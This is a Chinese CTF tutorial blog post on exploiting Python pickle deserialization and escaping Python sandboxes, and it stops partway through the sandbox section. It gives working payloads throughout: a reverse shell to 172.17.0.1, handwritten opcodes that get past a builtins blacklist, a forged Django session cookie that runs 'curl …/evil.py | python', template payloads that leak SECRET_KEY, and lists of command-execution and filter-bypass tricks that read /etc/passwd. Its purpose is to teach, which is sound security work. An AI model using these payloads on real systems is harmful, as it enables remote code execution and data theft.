这篇文章上次修改于 302 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

涉及两大知识点的大长文,请做好心理准备。

Python的pickle包可以用来进行序列化与反序列化,cPickle也是如此,但它是用C编码的,故运行效率更高。当然也有其他的序列化库比如MarshalPyYAMLJsonpickleShelve等等,但以下的内容主要是围绕pickle反序列化漏洞展开的。但由于例子中还用到了沙箱逃逸,为了更好地形成知识体系,后面部分将额外介绍沙箱逃逸的内容。

pickle反序列化漏洞原理

在该类赛题中,常用的pickle模块为load(s)dump(s)。一般来说常用的是loadsdumps,漏洞的触发一般是通过传参至loads模块中,然后触发恶意用户希望执行的命令。

利用__reduce__构造payload

先来看看__reduce__攻击方法的基本操作。下面的dumps是序列化以生成字符串,而loads是对字符串进行反序列化,精心构造过的字符串能够触发恶意指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle, pickletools, os
class exp():
def __reduce__(self):
s = r"""ls -la"""
return (os.system, (s,))

a = pickle.dumps(exp()) ### _dumps(exp())
print(a)
a = pickletools.optimize(a)
#a = a[:-1]
print(a) ### b'\x80\x03cposix\nsystem\nX\x06\x00\x00\x00ls -la\x85R.'
pickletools.dis(a) #请留意这个结果
b = pickle.loads(a)
print(b)

其输出的payload也就是刚刚举例的那个。从下图来看,其中的ls -la命令已经被执行了。

捕获2

有一些题目是针对序列化所得的字符串中的内容下手的,比如对os.system这样的内容设置黑名单等等,比如2018-XCTF-HITB-WEB : Python's-Revenge,仅对于该部分的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle, pickletools, platform

class exp():
def __reduce__(self):
s = r"""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",30006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'"""
return (platform.popen, (s,))
#return (map, (__import__('os').system(s)))

a = pickle.dumps(exp())
a = pickletools.optimize(a)
print(a)
b = pickle.loads(a)
print(b)
# for 172.17.0.1, please use "nc -lnvp 30006"

仅仅是这样的黑名单过滤是没办法放心地防住这类攻击的。在官方文档中,官方推荐定制Unpickler.find_class()函数来限制模块和其中的类,但即便必须在builtins模块下执行也能够找到不少类似于沙箱逃逸的办法来完成攻击,甚至直接编写pickle代码,这在后面会重点研究。

pickle.loads模块

接下来探讨pickle.loads是如何触发漏洞的。这里需要阅读pickle.py的源码,可以通过python -c "import pickle;print(pickle.__file__)"找到,随后搜索loads关键词,即可发现其内部调用的函数为_Unpickler类中的load函数。

捕获

进一步的搜索告诉我们,这里的_unframer仅仅是为了读取即将进行反序列化的字符串内容。随即进行调试:

ps:这里使用pycharm调试很可能会发现无法进入到pickle.py文件中,这可能是debugger与封装之间的玄学问题。请将上文例子中的pickle.loads更改为pickle._loads(感谢某位发现此问题的师傅)

其中的while循环是重点,这里的key就是挨个被读入的字符串(就以这个字符串为例b'\x80\x03cposix\nsystem\nX\x06\x00\x00\x00ls -la\x85R.')中的单个字符。

第一个字符是\x80,那么根据pickle.py在文件开头附近的定义(即OPCODE),我们可以知道接下来调用的是_Unpickler.load_proto函数,也就是读取proto协议的版本号,也就把\x03读取了,说明其版本号是3(参数protocol是序列化模式,python2.x中默认值为0,python3.x中默认值为3,在python3.x的序列化在python2.x中加载需要保证protocol参数不超过3)……之后的字符cX\x85的分析都是类似的,对部分OPCODE更加具体的分析会在后面提及。

其中R需要特别说明下,这个是通过__reduce__方法生成的,也就是CTF中以前比较常用的一种手段,它会跑到_Unpickler.load_reduce函数中,它会取出ls -la作为args,然后执行一个func(*args),从下图来看很明显,就是执行系统命令ls -la

捕获3

最后的.是作为终止的标记的,如果它不存在,会在最后阶段引发错误(但命令的执行先于错误)。

反序列化限制绕过

对攻击者而言,只将目光局限于命令限制的绕过其实并不是一件好事。以下主要是探讨两种情况,以及绕过的姿势。

绕过一、module必须是builtins

先介绍下builtins(在Python2版本中为builtin),它就是随着Python任何运行时候都会内置的模块,也就不需要import,比如通常我们输入help指令就是运行了__builtins__.help()函数。而对于os这类模块则不同于builtins,因为它需要import,比如os.system,实际上在*nix系统下就是posix.system。如果一个环境只允许执行使用builtins模块中内置的函数,该环境就可以认为是反序列化沙盒(箱)。既然提到了,我就在后面额外详细描述下沙箱逃逸的基本操作。

code-breaking 2018 picklecode的后半部分反序列化沙盒绕过为例,我们需要绕过下面这部分代码,这部分代码的写法是作者参考官方文档的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
......

可见我们需要在builtins包中提供的所有函数中选择一个能够命令执行的函数,而且不是blacklist中的。查阅手册后可以发现,可以令name = "getattr",当它绕过黑名单后再利用它来getattr(builtins, "eval")或者采用其他的内容。

看起来思路很简单,但是接下来就不得不面对手写pickle代码的挑战,因为上述的思路是先获取getattr函数,再通过该函数获取eval函数,最后利用eval函数执行命令。而手写代码就要参考OPCODE。另外,最好设置protocol=0以便于人工编写(Python会自动根据protocol进行对应的运行,上文分析也提到了)。

手写pickle代码

这里先不急,从最基本的地方开始描述其编写方法。

1
2
3
4
5
6
7
8
9
import pickle, pickletools, os

class exp():
def __reduce__(self):
s = r"""ls -la"""
return (os.system, (s,))

a = pickle.dumps(exp(),protocol=0) ### _dumps(exp())
pickletools.dis(a)

运行以上程序,获得输出为以下内容。

捕获4
1
2
3
4
5
6
7
8
9
10
0: c    GLOBAL     'posix system' # 向栈顶压入`posix.system`这个可执行对象
14: p PUT 0 # 将这个对象存储到memo的第0个位置
17: ( MARK # 压入一个元组的开始标志
18: V UNICODE 'touch /tmp/success' # 压入一个字符串
38: p PUT 1 # 将这个字符串存储到memo的第1个位置
41: t TUPLE (MARK at 17) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中
42: p PUT 2 # 将这个元组存储到memo的第2个位置
45: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
46: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置
49: . STOP # 结束整个程序

显然,这里的memo是没有起到任何作用的。所以我们可以将这段代码进一步简化,去除存储memo的过程:

1
2
3
4
5
6
7
8
import pickle, builtins # 这里建议导入builtins,否则在一些情况下会出现问题

payload = b"""cposix
system
(Vls -la
tR."""

pickle.loads(payload)

发现可以运行并输出结果,很好。接着我们尝试编写绕过的代码。下面的注释中详细描述了整个过程,metastackstack_unframer中的两个不同的list(调试过程中)。其中每个OPCODE的操作我都用分号隔开了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cbuiltins #设置builtins为可执行对象
getattr #获取builtins.getattr函数,而且被存放在stack中
(cbuiltins #getattr函数从stack中弹出,被圧入metastack;设置builtins为可执行对象
dict #获取builtins.dict对象(因为globals是字典类型的),得到的dict类型被存放在stack中
S'get' #将"get"字符串压入stack中
tR(cbuiltins ###弹出metastack中的getattr函数,圧入stack中,然后使顶层的builtins.dict,'get'组成元组,
###再将这整个结果圧入栈中(这时getattr函数和新组成的元组均被存放在stack中,而metastack为空);
###随后执行builtins.getattr(builtins.dict,'get'),使得metastack为空,而stack中是结果,也就是对dict类型的get方法;
###之后get方法从stack弹出并圧入metastack;最后设置builtins为可执行对象
globals #获取builtins.globals,被存放在stack中(这时metastack为get方法而stack中是builtins.globals)
(tRS'builtins' ###将builtins.globals从stack中弹出并圧入metastack,这时metastack含有get方法和globals函数,而stack为空;
###从metastack中弹出globals函数至stack,生成了一个空元组并被圧入stack;命令执行globals(),且将结果圧入stack;
###随后"builtins"字符串被圧入stack栈中
tRp1 ###从metastack中弹出get函数至stack中(这时metastack已经空了),原先在stack顶层的"builtins"字符串和globals()的结果组成一个新元组;
###命令执行dict.get(globals(),"builtins"),生成的结果圧入stack中;将stack顶部的内容存到memo的里,编号为1
. #结束的标志

以上所有内容相当于这样的一句Python命令:import builtins;dict.get(globals(),"builtins"),也就是取得了builtins对象。在此基础上,我们继续去获取eval函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1 # memo1为builtins对象
cbuiltins
getattr
(g1 #获取builtins对象
S'eval'
tR(S'__import__("os").system("ls -la")' #等同于builtins.getattr(builtins,"eval")并将这个可调用的eval对象压入栈中
tR. #等同于eval("__import__('os).system('ls')")并结束程序的运行

由于之前仔细描述了类似的内容,这部分就不多赘述了,针对此题后半部分的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

payload = b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("ls -la")'
tR."""
RestrictedUnpickler(io.BytesIO(payload)).load()

如果遇到需要不同pickle代码的情形,还可以参考这个项目或者干脆使用这个工具pker;提一句,使用pker生成和以上效果一致的payload是这样写的:

1
2
3
4
5
6
7
8
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('ls -la')
return

picklecode简明writeup

这道题还涉及到了其他的技巧,整体思路建议直接参看本人列出的参考文献。我在大哥们的基础上再补充一些前半部分可用的payload:{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}
{{request.user.groups.source_field.opts.app_config.module.password_validation.settings.SECRET_KEY}}
{{request.user.user_permissions.source_field.opts.app_config.module.settings.SECRET_KEY}}
{{request.user.user_permissions.source_field.opts.app_config.module.password_validation.settings.SECRET_KEY}},以上这些都能够得到SECRET_KEY,但是还有很多在实践中其实并不可行,个人认为很可能是因为程序在运行的时候并没有对这些变量初始化或者赋值,导致网页出现500错误或值为空,比如以下这些:

{{request.user.groups.model.user_set.field.opts.app_config.module.settings.SECRET_KEY}}
{{request.user.groups.model.user_set.field.opts.app_config.module.password_validation.settings.SECRET_KEY}} {{request.user.groups.target_field.opts.model.user.field.opts.app_config.module.admin.settings.SECRET_KEY}}
{{request.user.groups.source_field.opts.model.user.field.opts.app_config.module.admin.settings.SECRET_KEY}}

生成最终的payload可以使用如下的脚本(其中提到的evil.py就是一个反弹shell的Python脚本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from django.core import signing
import base64, zlib, os

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "core.settings")

SECRET_KEY = "zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm"
payload = b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl http://172.17.0.1:8000/evil.py | python")'
tR."""

def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')

def evil_session(key, salt):
global payload
is_compressed = False
compress = False
if compress:
compressed = zlib.compress(payload)
if len(compressed) < (len(payload) - 1):
payload = compressed
is_compressed = True
base64d = b64_encode(payload).decode()
if is_compressed:
base64d = '.' + base64d
print(signing.TimestampSigner(key, salt=salt).sign(base64d))

evil_session(SECRET_KEY, 'django.contrib.sessions.backends.signed_cookies')
#Y2J1aWx0aW5zCmdldGF0dHIKKGNidWlsdGlucwpkaWN0ClMnZ2V0Jwp0UihjYnVpbHRpbnMKZ2xvYmFscwoodFJTJ2J1aWx0aW5zJwp0UnAxCmNidWlsdGlucwpnZXRhdHRyCihnMQpTJ2V2YWwnCnRSKFMnX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oImN1cmwgaHR0cDovLzE3Mi4xNy4wLjE6ODAwMC9ldmlsLnB5IHwgcHl0aG9uIiknCnRSLg:1l7zFH:ixl0a5gPrIGhOuxX8tZm0Qny7UQmlIdRlj5UUuBf5PI

以下是感人的getshell时间。

getshell

绕过二、对R指令设置黑名单

刚刚的绕过很精彩,但本质上依然是__reduuce__办法的延伸。那么对R指令设置黑名单,也就是不让用__reduce__及其衍生方法的话,我们该怎么办呢?

巧包含全局变量实现绕过

一步步来,首先我们先试试看能否控制一些变量。比如在登录的时候能否直接绕过密码的输入。以下就是样题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle, base64
import A #请注意这里的A.py中内容为num = 0,passwd = "password"(其实随便取,题目就是要绕过passwd判断)

class B():
def __init__(self, num, passwd):
self.num = num
self.passwd = passwd

def __eq__(self,other):
return type(other) is B and self.passwd == other.passwd and self.num == other.num

def check(data):
if (b'R' in data):
return 'NO REDUCE!!!'
x = pickle.loads(data)
if (x != B(A.num, A.passwd)):
return 'False!!!'
print('Now A.num == {} AND A.passwd == {}.'.format(A.num, A.passwd))
return 'Success!'

print(check(base64.b64decode(input())))
# payload: echo gANjX19tYWluX18KQgopgX0oWAMAAABudW1jQQpudW0KWAYAAABwYXNzd2RjQQpwYXNzd2QKdWIu | python check.py

构造的方法就写在下面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle, pickletools, base64

class B():
def __init__(self, num, passwd):
self.num = num
self.passwd = passwd

def __eq__(self,other):
return type(other) is B and self.passwd == other.passwd and self.num == other.num

data = pickle.dumps(B(1, "qaq"))
data = pickletools.optimize(data)
print(data)
pickletools.dis(data)
#b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
#将 K\x01 改为 cA\nnum\n ,将 X\x03\x00\x00\x00qaq 改为 cA\npasswd\n
#b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numcA\nnum\nX\x06\x00\x00\x00passwdcA\npasswd\nub.'
"""
payload = b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numcA\nnum\nX\x06\x00\x00\x00passwdcA\npasswd\nub.'
print(base64.b64encode(payload)) #gANjX19tYWluX18KQgopgX0oWAMAAABudW1jQQpudW0KWAYAAABwYXNzd2RjQQpwYXNzd2QKdWIu
"""

若是已经了解了OPCODE的话基本上能够发现我们不过是利用c将相关的内容改成了全局变量。如下图,左边部分是以上脚本直接运行后的结果,而右边部分就是修改后的内容。

捕获5

这样就轻松实现了登录的绕过。

绕过module限制

依旧以刚刚出现的样题为例,但额外加上module只能为__main__的限制。

c指令(也就是GLOBAL指令)基于find_class这个方法, 然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module(就没法进行类似于A.num这样的引入),这道题又该如何解决呢?

  • 通过__main__.A引入这个module
  • 把一个dict压进栈中,其内容为{‘num’: 6, ‘passwd’: ‘123456’}
  • 执行b指令,其作用是修改__dict__中的内容,在__main__.A.num__main__.A.passwd中的内容已经被修改了
  • 将栈清空,也就是弹掉栈顶
  • 照抄正常的B序列化之后的字符串,压入一个正常的B对象,num和passwd分别是6和’123456’,这样判断就能够通过了

可见payload的思路就是先修改了A中的变量值,随后以正常的格式传入(可被check函数通过的)内容。借助刚刚的图和先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.',我们来对它进行一定的修改。

  • K\x01改为K\x06,将X\x03\x00\x00\x00qaq改为X\x06\x00\x00\x00123456,此时b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.'
  • 将开头的\x80\x03c__main__\nB\n)改为\x80\x03c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n),这里可以看到我们圧入了一个正常的对象,此时得到最终payload为b'\x80\x03c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.'

我们来测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py

捕获6

可见内存中A的属性值已经被修改了,于是我们通过另一个手段实现了登录验证的绕过。

R指令下的命令执行

还是刚才的样题,但这次的要求并不是绕过登录限制,而是在不出现R指令的情况下getshell。

如果您还记得的话,之前的R指令触发的真正语句其实是func(*args),那么我们就继续在pickle.py中寻找一些可用的语句。那什么样的是可用的呢?也就是*args可控,func可控或者就是类似于system,exec这样的功能,可以以load_为关键词进行搜索。这部分其实已经有人进行过总结了,可进行函数执行的操作码有Riob。我这里就直接对剩下三种方法进行说明。

操作码b

它对应的函数为load_build。其在pickle.py中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

如果inst拥有__setstate__方法,则把栈顶的state交给__setstate__方法来处理;否则就把state中的部分或全部内容,合并到inst.__dict__ 里面。因此,其利用方式就是用{'__setstate__': os.system}来build对象A,然后用ls -la再次进行构造,由于存在__setstate__方法,此时state为ls -la,所以成功执行os.system('ls -la')。借助先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.',我们来对它进行一定的修改。

  • 对开头部分的内容进行修改,将\x80\x03c__main__\nB\n)改为\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb0c__main__\nB\n),这样修改依旧是圧入了一个正常对象,得到最终的payload为b'\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.'

测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py ,发现它能够成功执行命令!剩下的只需要将ls -la改为反弹shell的命令即可。

注意:其实python -c "import base64;payload=b'\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb.)';print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py也可以成功执行命令,但是会导致报错。建议将栈清空,并照抄正常的B序列化之后的字符串,压入一个正常的B对象,这也正是我一直保留后半段看似没用的代码的原因,之后不再赘述。

操作码i

其对应的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items

def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
dispatch[INST[0]] = load_inst

首先通过find_class获得方法,然后通过pop_mark获得参数(弹出前序栈重新赋值给当前栈,而且获取当前栈上的内容),并调用_instantiate函数来执行,并将执行的结果存入栈中。

借助先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.',我们来对它进行一定的修改。

  • 对开头部分的内容进行修改,将\x80\x03c__main__\nB\n)改成\x80\x03c__main__\nA\n}(Vls -laios\nsystem\n0c__main__\nB\n),这样修改依旧是圧入了一个正常对象,得到最终的payload为b'\x80\x03c__main__\nA\n}(Vls -laios\nsystem\n0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'

测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(X\x06\x00\x00\x00ls -laios\nsystem\n0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py ,发现它能够成功执行命令!剩下的只需要将ls -la改为反弹shell的命令即可。

操作码o

它和i操作码关系密切,其对应的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items

def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark()
cls = args.pop(0)
self._instantiate(cls, args)
dispatch[OBJ[0]] = load_obj

借助先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.',我们来对它进行一定的修改,得到最终的payload为b'\x80\x03c__main__\nA\n}(cos\nsystem\nX\x06\x00\x00\x00ls -lao0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'

测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(cos\nsystem\nX\x06\x00\x00\x00ls -lao0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py ,发现它能够成功执行命令!剩下的只需要将ls -la改为反弹shell的命令即可。

其他-反序列化漏洞

其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞,这就是CVE-2019-6446。其他的序列化库比如MarshalPyYAMLJsonpickleShelve等等的反序列化利用可参看参考文献中的第五个。

**GLOBAL指令也可以自动导入os.system**。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。

即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,对应端口开启监听,在测试环境中执行类似于os.system('curl your_server/$(ls / | base64))就能看到回显结果,也可以使用dnslog等手段。

Python沙箱逃逸

沙箱逃逸就是突破原本受限的Python交互环境,实现执行命令、读写文件等操作。之前的绕过中已经体现一些思路了,这里是系统性的整理。

导入module

受限的交互环境意味着可用的函数较少且利用价值不高,因此第一步就是找到一些可利用的包并导入。

  • Python导入模块时,会先判断sys.modules是否已经加载了该模块,如果没有加载则从sys.path中的目录按照模块名查找pypycpyd文件,找到后执行该文件载入内存并添加至sys.modules中,再将模块名称导入Local命名空间。

  • 如果a.py中存在import b,则在import aab两个模块都会添加至sys.modules中,但仅将a导入Local命名空间。

  • 通过from x import y时,则将x添加至sys.modules中,将y导入Local命名空间。

以下以导入os库为例(例举了部分花活),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# sys.version
# sys.path
# dir(sys.modules[__name__]

import os #其中的空格可以是多个以绕过一些检测

from os import *

__import__('os')
__import__("bf".decode('rot_13'))
__import__('o'+'s').system("whoami")
__import__('so'[::-1]).system('whoami')

eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])

exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

import importlib;importlib.import_module("os").system("whoami")

import sys;sys.modules['os']='not allowed';del sys.modules['os'];import os #前两句是限制,后两句是绕过该限制的导入方法

a=open('/usr/lib/python3.7/os.py').read();exec(a);system("whoami")

execfile('/usr/lib/python2.7/os.py');system("whoami") # ONLY Python2

花式命令执行

导入一些“危险”模块后,就需要想办法执行一些命令。从参考文献沙箱逃逸部分的第一篇中摘录以下手段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()
...

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

platform.popen('whoami').read()

# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')

# Python2
warnings.linecache.os.system("whoami")

timeit.timeit("__import__('os').system('whoami')", number=1)

bdb.os.system('whoami')

cgi.os.system('whoami')

importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')

pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))

# Linux
pty.spawn('whoami')
pty.os.system('whoami')

# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()
# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')

# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount

# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code

...

getattr(os, 'metsys'[::-1])('whoami')
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

针对以上内容防御基本上只需要让import不能用即可。但还是有些可以使用的,比如最后两个——因为getattr函数是属于内建模块builtins的,是不需要导入的。

受限的builtins

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。如若需要查看,必须先进行import。另外,__builtins__ 各个版本都有,三者存在小区别,但之后我们默认考虑比较好用的__builtins__模块。为保证安全,builtins中的“危险”函数一般会被禁用。

1
2
3
4
5
6
7
8
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval'] # 也可以这样 __builtins__.__dict__['eval'] = 'not allowed'
del __builtins__.__dict__['exec']
del __builtins__.__dict__['execfile']
del __builtins__.__dict__['getattr']
del __builtins__.__dict__['input']
del __builtin__.reload # 2.x版本中存在__builtins__.reload,会重新加载整个builtins模块,
# 但对于3.x,需要import imp;imp.reload(__builtin__)才能够实现和2.x同样的效果,而import已经被删了

遇到这种情况该这么办呢?

利用继承关系逃逸

先介绍几个之后会用到的、Python为部分对象类型所添加的特殊的只读属性(其中有些甚至不会被dir()函数直接列出)。

__class__返回一个实例所属的类(相当于type()),子实例找父实例;

__bases__返回由类对象的基类所组成的元组(多层继承都会被返回),子类找父类;

__mro__返回由类组成的元组(获取MRO方法解析顺序),子类找父类;

mro()此方法可被一个元类来重载,以为其实例定制方法解析顺序,会在类实例化时被调用,其结果存储于__mro__之中;

__subclasses__该属性是一个方法,__subclasses__()返回的是一个列表(当前环境中所有继承于该对象的对象),父类找子类。

用file对象读取敏感文件

以上特殊属性其实是有办法列出的,使用dir("".__class__.__class__)或者dir(type("".__class__))即可——强烈推荐这位大哥的理解。这里再整理下他的思考内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 以下均属Python2环境。 获得一个字符串实例
>>> ""
''

# 获得字符串的type实例
>>> "".__class__
<type 'str'>

# 获得其父类(因为<type 'str'>是一个<type 'type'>实例,因此可使用__mro__获取其父类的顶端<type 'object'>)
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

# 获得父类中的object类
#(因为object是父类的顶端,所以还可以通过"".__class__.__base__.__base__实现同样的效果)
>>> "".__class__.__mro__[2]
<type 'object'>

# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>

# 使用__subclasses__()方法,获得object类的子类
#(因为<type 'object'>是<type 'type'>的一个实例,故可用<type 'type'>的__subclasses__()函数获得object的所有子类)
>>> "".__class__.__mro__[2].__subclasses__()
[... , <type 'file'>, ...]

# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

# 使用file的read属性读取,但发现是个方法
